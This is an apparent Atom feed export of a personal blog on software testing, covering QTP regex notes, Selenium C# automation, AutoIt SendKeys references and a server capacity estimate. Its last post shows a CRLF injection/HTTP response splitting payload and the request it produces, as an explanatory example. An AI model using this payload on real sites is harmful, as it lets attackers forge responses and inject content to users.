<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-6523426199047481474</id><updated>2012-02-16T00:46:04.464-08:00</updated><category term='hack'/><category term='automatic default script generator'/><category term='agile model'/><category term='automating the w3c css test with selenium'/><category term='REQUEST PER SECOND HANDLED BY SERVER'/><category term='software development process'/><category term='Tips for increase performance of SQL database'/><category term='update metabase'/><category term='bug reporting skill.'/><category term='httpcompression'/><category term='Build / Rebuild / Compile ASP.NET C#'/><category term='send keys'/><category term='VB.NET'/><category term='selenium'/><category term='QTP framework used in companies'/><category term='creating hidden folder with no name'/><category term='regular expression'/><category term='machine.config'/><category term='IIS'/><category term='RESPONSE'/><category term='Dynamically Creating QTP Test Batch File/Test Suit'/><category term='ASP.NET'/><category term='c#'/><category term='SCRUM'/><category term='QTP dictionary object'/><category term='data driven testing selenium using javascript array'/><category term='SPRINT'/><category term='enabling back button for AJAX based page'/><category term='storeTextPresent'/><category term='running selenium rc on multiple ports'/><category term='focusing on problems and focusing on solutions'/><category term='notepad glitch'/><category term='like selenium grid'/><category term='corrupting operating system'/><category term='difference between'/><category term='ad expire header'/><category term='selenium remote control'/><category term='how to GZIP'/><category term='web garden'/><category term='virtual PC'/><category term='reason behind restart'/><category term='web.config'/><title type='text'>Anil K. Sharma</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>61</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-6835748227261491507</id><published>2011-08-26T03:16:00.000-07:00</published><updated>2011-08-26T03:26:57.785-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='regular expression'/><title type='text'>RegEx used in QTP</title><content type='html'>a) Backslash Character:&lt;br /&gt;1. A backslash (\) used in conjunction with a special character to indicate that the next character be treated as a literal character.&lt;br /&gt;2.also such as the letters \n, \t, \w, or \d, the combination indicates a special character.&lt;br /&gt;&lt;br /&gt;b) Matching Any Single Character:&lt;br /&gt;A period (.)(except for \n).&lt;br /&gt;Ex:&lt;br /&gt;welcome.&lt;br /&gt;Matches welcomes, welcomed, or welcome&lt;br /&gt;&lt;br /&gt;c) Matching Any Single Character in a List:&lt;br /&gt;To search for the date 1867, 1868, or 1869, enter:&lt;br /&gt;186[789]&lt;br /&gt;&lt;br /&gt;d) Matching Any Single Character Not in a List:&lt;br /&gt;[^ab]&lt;br /&gt;Matches any character except a or b.&lt;br /&gt;&lt;br /&gt;e) Matching Any Single Character within a Range:&lt;br /&gt;For matching any year in the 2010s, enter:&lt;br /&gt;201[0-9]&lt;br /&gt;&lt;br /&gt;f) Matching Zero or More Specific Characters:&lt;br /&gt;ca*r&lt;br /&gt;Matches car, caaaaaar, and cr&lt;br /&gt;&lt;br /&gt;g) Matching One or More Specific Characters:&lt;br /&gt;A plus sign (+) instructs QTP to match one or more occurrences of the preceding character.&lt;br /&gt;For example:&lt;br /&gt;ca+r&lt;br /&gt;Matches car and caaaaaar, but not cr.&lt;br /&gt;&lt;br /&gt;h) Matching Zero or One Specific Character:&lt;br /&gt;(?) instructs QTP to match zero or one occurrences of the preceding character.&lt;br /&gt;For example:&lt;br /&gt;ca?r&lt;br /&gt;Matches car and cr, but nothing else.&lt;br /&gt;&lt;br /&gt;i) Grouping Regular Expressions:&lt;br /&gt;Parentheses (()) instruct QTP to treat the contained sequence as a unit, just as in mathematics and programming languages. Using groups is especially useful for delimiting the argument(s) to an alternation operator ( | ) or a repetition operator ( * , + , ? , { } ).&lt;br /&gt;&lt;br /&gt;j)  Matching One of Several Regular Expressions:&lt;br /&gt;pipe (|) instructs QTP to match one of a choice of expressions.&lt;br /&gt;&lt;br /&gt;k)  Matching the Beginning of a Line:&lt;br /&gt;A caret (^) instructs QTP to match the expression only at the start of a line, or after a newline character.&lt;br /&gt;&lt;br /&gt;l)  Matching the End of a Line:&lt;br /&gt;A dollar sign ($) instructs QTP to match the expression only at the end of a line, or before a newline character.&lt;br /&gt;&lt;br /&gt;m)  Matching Any AlphaNumeric Character Including the Underscore:&lt;br /&gt;\w instructs QTP to match any alphanumeric character and the underscore (A-Z, a-z, 0-9, _).&lt;br /&gt;&lt;br /&gt;n)  Matching Any Non-AlphaNumeric Character:&lt;br /&gt;\W instructs QTP to match any character other than alphanumeric characters and underscores.&lt;br /&gt;&lt;br /&gt;o) Combining Regular Expression Operators:&lt;br /&gt;We can combine regular expression operators in a single expression to achieve the exact search criteria we need.&lt;br /&gt;For example,&lt;br /&gt;start.*&lt;br /&gt;Matches start, started, starting, starter, and so forth.&lt;br /&gt;we can use a combination of brackets and an asterisk to limit the search to a combination of non-numeric characters.&lt;br /&gt;For example:&lt;br /&gt;[a-zA-Z]*&lt;br /&gt;To match any number between 0 and 1200, we need to match numbers with 1 digit, 2 digits, 3 digits, or 4 digits between 1000-1200.&lt;br /&gt;The regular expression below matches any number between 0 and 1200.&lt;br /&gt;([0-9]?[0-9]?[0-9]|1[01][0-9][0-9]|1200) &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-6835748227261491507?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/6835748227261491507/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=6835748227261491507' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/6835748227261491507'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/6835748227261491507'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2011/08/regex-used-in-qtp.html' title='RegEx used in QTP'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-4683057003959234841</id><published>2011-03-08T23:23:00.001-08:00</published><updated>2011-03-08T23:26:12.389-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='RESPONSE'/><category scheme='http://www.blogger.com/atom/ns#' term='IIS'/><category scheme='http://www.blogger.com/atom/ns#' term='REQUEST PER SECOND HANDLED BY SERVER'/><title type='text'>FINDING SERVER CAPABILITY, REQUEST PER SECOND</title><content type='html'>DEAR ALL,&lt;br /&gt;&lt;br /&gt;I DEDUCE FOLLOWING FOR MY ONE PROJECT. IT'S A BIG PROJECT RUNNING WORLDWIDE. IT IS A POWERPOINT PRESENTATION RELATED...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I tried here to find that our server is able to handle how many request per second. An approximate data of files being used is here:&lt;br /&gt;&lt;br /&gt;File No. of files Total Size&lt;br /&gt;ascx 53 275,416 bytes&lt;br /&gt;aspx  310 4,805,494 bytes&lt;br /&gt;css 54 834,304 bytes&lt;br /&gt;htm  13 84,545 bytes&lt;br /&gt;js  67 1,968,246 bytes&lt;br /&gt;Total 497 7968005&lt;br /&gt;&lt;br /&gt;So total 497 files having size 7968005 bytes&lt;br /&gt;So average page size becomes: 7968005/497=16032 bytes (excluding data which fetched from database &amp; displayed on page)&lt;br /&gt;TCP Connection consumes: 180 bytes&lt;br /&gt;GET Request consumes:  256 bytes&lt;br /&gt;Protocol overhead consumes:  1,364 bytes&lt;br /&gt;Total:  17832 bytes&lt;br /&gt;Total Bits=17832 x 8 = 142656 bits per request&lt;br /&gt;&lt;br /&gt;As per our IT admin, we have 100mbps line connected with LB. So it can transmit 100 x 1000000=100000000 bits per second&lt;br /&gt;REQUEST PER SECOND= Transmit Capacity/Avg. Page Size = 100000000/142656 = 700&lt;br /&gt;&lt;br /&gt;IT MEANS OUR SERVER IS ABLE TO HANDLE/DELIVER 700 REQUEST PER SECOND.&lt;br /&gt;This can be increased we optimize &amp; reduce our file sizes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-4683057003959234841?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/4683057003959234841/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=4683057003959234841' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/4683057003959234841'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/4683057003959234841'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2011/03/finding-server-capability-request-per.html' title='FINDING SERVER CAPABILITY, REQUEST PER SECOND'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-1263137481946045909</id><published>2011-01-06T23:01:00.000-08:00</published><updated>2011-01-06T23:04:53.305-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='automating the w3c css test with selenium'/><title type='text'>automating the w3c css test with selenium</title><content type='html'>1.Create a table where url/body of css file is stored&lt;br /&gt;2.Then fetch data from query&lt;br /&gt;3.In a for loop send call to W3CCSSTest(selenium,dr)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    public void W3CCSSTest(ISelenium selenium, DataRow dr)&lt;br /&gt;        {&lt;br /&gt;            string sql = "";&lt;br /&gt;            string cols = "";&lt;br /&gt;            string nexturl="";&lt;br /&gt;            verificationErrors = new StringBuilder("");&lt;br /&gt;&lt;br /&gt;            selenium.Open("/");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;            Thread.Sleep(2000);            &lt;br /&gt;            try&lt;br /&gt;            {&lt;br /&gt; &lt;br /&gt;                if (dr["type"].ToString() == "U")  // if url&lt;br /&gt;                {&lt;br /&gt;                    &lt;br /&gt;                    selenium.Open("http://jigsaw.w3.org/css-validator/");&lt;br /&gt;                    selenium.Type("uri", dr["BodyUrl"].ToString());&lt;br /&gt;                    selenium.Click("link=More Options");&lt;br /&gt;                    Thread.Sleep(1000);&lt;br /&gt;                    selenium.Select("profile_uri", "label=No special profile");&lt;br /&gt;                    selenium.Click("//fieldset[@id='validate-by-uri']/form/p[3]/label/a/span");&lt;br /&gt;                    nexturl = "http://jigsaw.w3.org/css-validator/validator?uri=http%3A%2F%2Fjigsaw.w3.org%2Fcss-validator%2F&amp;profile=none&amp;usermedium=all&amp;warning=1&amp;lang=en";&lt;br /&gt;                }&lt;br /&gt;                if (dr["type"].ToString() == "B")  //if body&lt;br /&gt;                {&lt;br /&gt;                    selenium.Open("http://jigsaw.w3.org/css-validator/");&lt;br /&gt;                    selenium.Click("link=By direct input");&lt;br /&gt;                    selenium.Type("text", dr["BodyUrl"].ToString());&lt;br /&gt;                    Thread.Sleep(1000);&lt;br /&gt;                    selenium.Select("profile_input", "label=No special profile");&lt;br /&gt;                    selenium.Click("//fieldset[@id='validate-by-input']/form/p[3]/label/a/span");&lt;br /&gt;                    nexturl = "http://validator.w3.org/check?uri=http%3A%2F%2Fvalidator.w3.org%2F&amp;charset=%28detect+automatically%29&amp;doctype=HTML+4.01+Transitional&amp;group=0&amp;ss=1&amp;No200=1";&lt;br /&gt;                }&lt;br /&gt;                Thread.Sleep(3000);&lt;br /&gt; &lt;br /&gt;                if (selenium.IsTextPresent("Congratulations!"))&lt;br /&gt;                {                    &lt;br /&gt;                    verificationErrors.Append("pass,");&lt;br /&gt;                    CreatedScreenShot = Utilities.SeleniumScreenShot(selenium, ScriptAndDirName, dr["Rid"].ToString() + "W3C_CSS_PASS");&lt;br /&gt;                    DatabaseClass.LogDataInResultTable(ScriptAndDirName, TableName, Convert.ToInt16(dr["Rid"].ToString()), "P", CreatedScreenShot, Convert.ToString(verificationErrors), dr["owner"].ToString());&lt;br /&gt;                }&lt;br /&gt;&lt;br /&gt;                if (selenium.IsTextPresent("Sorry! We found the following errors"))&lt;br /&gt;                { &lt;br /&gt;                    verificationErrors.Append("fail,");&lt;br /&gt;                    CreatedScreenShot = Utilities.SeleniumScreenShot(selenium, ScriptAndDirName, dr["Rid"].ToString() + "W3C_CSS_FAIL");&lt;br /&gt;                    DatabaseClass.LogDataInResultTable(ScriptAndDirName, TableName, Convert.ToInt16(dr["Rid"].ToString()), "F", CreatedScreenShot, Convert.ToString(verificationErrors), dr["owner"].ToString());&lt;br /&gt;                }                &lt;br /&gt;                Thread.Sleep(3000); &lt;br /&gt;                selenium.GoBack();&lt;br /&gt;            }&lt;br /&gt;            catch (Exception ex)&lt;br /&gt;            {&lt;br /&gt;                verificationErrors.Append(ex.ToString());&lt;br /&gt;                selenium.GoBack();&lt;br /&gt;            }&lt;br /&gt;        }&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-1263137481946045909?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/1263137481946045909/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=1263137481946045909' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/1263137481946045909'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/1263137481946045909'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2011/01/automating-w3c-css-test-with-selenium.html' title='automating the w3c css test with selenium'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-8513495867097583610</id><published>2010-12-16T21:38:00.003-08:00</published><updated>2010-12-16T21:41:19.509-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='send keys'/><category scheme='http://www.blogger.com/atom/ns#' term='c#'/><title type='text'>Quick reference for the Sendkeys.Send</title><content type='html'>&lt;span style="font-weight:bold;"&gt;Quick reference for the Send( "keys" [, flag] ) Command.    ^ Ctrl    ! Alt    + Shift    # Win&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;AutoIt can send all ASCII and Extended ASCII characters (0-255), to send UNICODE characters you must use the "ASC" option and the code of the character you wish to Send(see {ASC} below).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://www.autoitscript.com/autoit3/docs/appendix/SendKeys.htm&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-8513495867097583610?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/8513495867097583610/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=8513495867097583610' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/8513495867097583610'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/8513495867097583610'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2010/12/quick-reference-for-sendkeyssend_2549.html' title='Quick reference for the Sendkeys.Send'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-1218787460541574910</id><published>2010-12-16T21:38:00.002-08:00</published><updated>2010-12-16T21:40:51.504-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='send keys'/><category scheme='http://www.blogger.com/atom/ns#' term='c#'/><title type='text'>Quick reference for the Sendkeys.Send</title><content type='html'>&lt;span style="font-weight:bold;"&gt;Quick reference for the Send( "keys" [, flag] ) Command.    ^ Ctrl    ! Alt    + Shift    # Win&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;AutoIt can send all ASCII and Extended ASCII characters (0-255), to send UNICODE characters you must use the "ASC" option and the code of the character you wish to Send(see {ASC} below).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://www.autoitscript.com/autoit3/docs/appendix/SendKeys.htm&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-1218787460541574910?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/1218787460541574910/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=1218787460541574910' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/1218787460541574910'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/1218787460541574910'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2010/12/quick-reference-for-sendkeyssend_1282.html' title='Quick reference for the Sendkeys.Send'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-8902030368633938472</id><published>2010-12-16T21:38:00.001-08:00</published><updated>2010-12-16T21:40:33.011-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='send keys'/><category scheme='http://www.blogger.com/atom/ns#' term='c#'/><title type='text'>Quick reference for the Sendkeys.Send</title><content type='html'>&lt;span style="font-weight:bold;"&gt;Quick reference for the Send( "keys" [, flag] ) Command.    ^ Ctrl    ! Alt    + Shift    # Win&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;AutoIt can send all ASCII and Extended ASCII characters (0-255), to send UNICODE characters you must use the "ASC" option and the code of the character you wish to Send(see {ASC} below).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://www.autoitscript.com/autoit3/docs/appendix/SendKeys.htm&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-8902030368633938472?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/8902030368633938472/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=8902030368633938472' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/8902030368633938472'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/8902030368633938472'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2010/12/quick-reference-for-sendkeyssend_16.html' title='Quick reference for the Sendkeys.Send'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-3933348932352374876</id><published>2010-12-16T21:38:00.000-08:00</published><updated>2010-12-16T21:40:57.262-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='send keys'/><category scheme='http://www.blogger.com/atom/ns#' term='c#'/><title type='text'>Quick reference for the Sendkeys.Send</title><content type='html'>&lt;span style="font-weight:bold;"&gt;Quick reference for the Send( "keys" [, flag] ) Command.    ^ Ctrl    ! Alt    + Shift    # Win&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;AutoIt can send all ASCII and Extended ASCII characters (0-255), to send UNICODE characters you must use the "ASC" option and the code of the character you wish to Send(see {ASC} below).&lt;br /&gt;&lt;br /&gt;Send is quite useful because windows can be navigated without needing a mouse.&lt;br /&gt;&lt;br /&gt;For example, open Folder Options (in the control panel) and try the following:&lt;br /&gt;&lt;br /&gt;Send("{TAB}")  Navigate to next control (button, checkbox, etc)&lt;br /&gt;Send("+{TAB}")  Navigate to previous control.&lt;br /&gt;Send("^{TAB}")  Navigate to next WindowTab (on a Tabbed dialog window)&lt;br /&gt;Send("^+{TAB}")  Navigate to previous WindowTab.&lt;br /&gt;Send("{SPACE}")  Can be used to toggle a checkbox or click a button.&lt;br /&gt;Send("{+}")  Usually checks a checkbox (if it's a "real" checkbox.)&lt;br /&gt;Send("{-}")  Usually unchecks a checkbox.&lt;br /&gt;Send("{NumPadMult}")  Recursively expands folders in a SysTreeView32. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://www.autoitscript.com/autoit3/docs/appendix/SendKeys.htm&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-3933348932352374876?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/3933348932352374876/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=3933348932352374876' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/3933348932352374876'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/3933348932352374876'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2010/12/quick-reference-for-sendkeyssend.html' title='Quick reference for the Sendkeys.Send'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-8762230125466483817</id><published>2010-12-15T23:56:00.000-08:00</published><updated>2010-12-15T23:57:56.497-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='selenium remote control'/><title type='text'>running multiple selenium RC parallelly in multi threading</title><content type='html'>//running multiple RC parallelly &lt;br /&gt;&lt;br /&gt;ParameterizedThreadStart objParameterizedThreadStart = new ParameterizedThreadStart(CheckPointStart);&lt;br /&gt;                    hostInfo objHostInfo = new hostInfo();&lt;br /&gt;                    Thread t = new Thread(objParameterizedThreadStart);&lt;br /&gt;                    t.Name = k.ToString();&lt;br /&gt;                    objHostInfo.bro = bro;&lt;br /&gt;                    objHostInfo.host = host;&lt;br /&gt;                    objHostInfo.port = port;&lt;br /&gt;                    objHostInfo.SiteURL=siteurl.Text;&lt;br /&gt;                    t.Start(objHostInfo);&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-8762230125466483817?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/8762230125466483817/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=8762230125466483817' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/8762230125466483817'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/8762230125466483817'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2010/12/running-multiple-rc-parallelly-in-multi.html' title='running multiple selenium RC parallelly in multi threading'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-1575579369854850829</id><published>2010-12-15T23:52:00.000-08:00</published><updated>2010-12-15T23:55:26.205-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='running selenium rc on multiple ports'/><category scheme='http://www.blogger.com/atom/ns#' term='like selenium grid'/><title type='text'>running selenium rc on multiple ports</title><content type='html'>port=4444;&lt;br /&gt;use a for loop to execute following&lt;br /&gt;create 4444.bat, 4445.bat ...so on files&lt;br /&gt;---------------&lt;br /&gt;//run RC for each setting&lt;br /&gt;ProcessStartInfo info = new ProcessStartInfo();&lt;br /&gt;info.WorkingDirectory = wrkdir.Text;&lt;br /&gt;info.FileName = @"e:\\AuthorStream\\Selenium-Scripts\\selenium-server-1.0.3\\" + port + ".bat";&lt;br /&gt;info.WindowStyle = ProcessWindowStyle.Minimized;&lt;br /&gt;Process.Start(info);&lt;br /&gt;port=port+1&lt;br /&gt;-------------------&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-1575579369854850829?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/1575579369854850829/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=1575579369854850829' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/1575579369854850829'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/1575579369854850829'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2010/12/running-selenium-rc-on-multiple-ports.html' title='running selenium rc on multiple ports'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-8800560694262900266</id><published>2010-10-30T00:22:00.000-07:00</published><updated>2010-10-30T00:29:04.857-07:00</updated><title type='text'>CRLF injection/http response splitting</title><content type='html'>&lt;pre&gt;&lt;br /&gt;Injected Data: %0d%0aContent-Type: text/html%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont color=red%3Ehey%3C/font%3E%3C/html%3E&lt;br /&gt;&lt;br /&gt;Which can also be written as:&lt;br /&gt;\r\n&lt;br /&gt;Content-Type: text/html\r\n&lt;br /&gt;HTTP/1.1 200 OK\r\n&lt;br /&gt;Content-Type: text/html\r\n&lt;br /&gt;\r\n&lt;br /&gt;&lt;html&gt;&lt;font color=red&gt; hey&lt;/font&gt;&lt;/html&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If the user follows the link, the HTTP request will look like:&lt;br /&gt;GET /~dcrab/redirect.php?page=%0d%0aContent-Type: text/html%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont color=red%3Ehey%3C/font%3E%3C/html%3E HTTP/1.1\r\n&lt;br /&gt;Host: abc.org\r\n&lt;br /&gt;User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2\r\n&lt;br /&gt;Accept: text/xml,application/xml,application/xhtml xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n&lt;br /&gt;Accept-Language: en-us,en;q=0.5\r\n&lt;br /&gt;Accept-Encoding: gzip,deflate\r\n&lt;br /&gt;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n&lt;br /&gt;Keep-Alive: 300\r\n&lt;br /&gt;Connection: keep-alive\r\n&lt;br /&gt;\r\n&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-8800560694262900266?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/8800560694262900266/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=8800560694262900266' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/8800560694262900266'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/8800560694262900266'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2010/10/crlf-injectionhttp-response-splitting.html' title='CRLF injection/http response 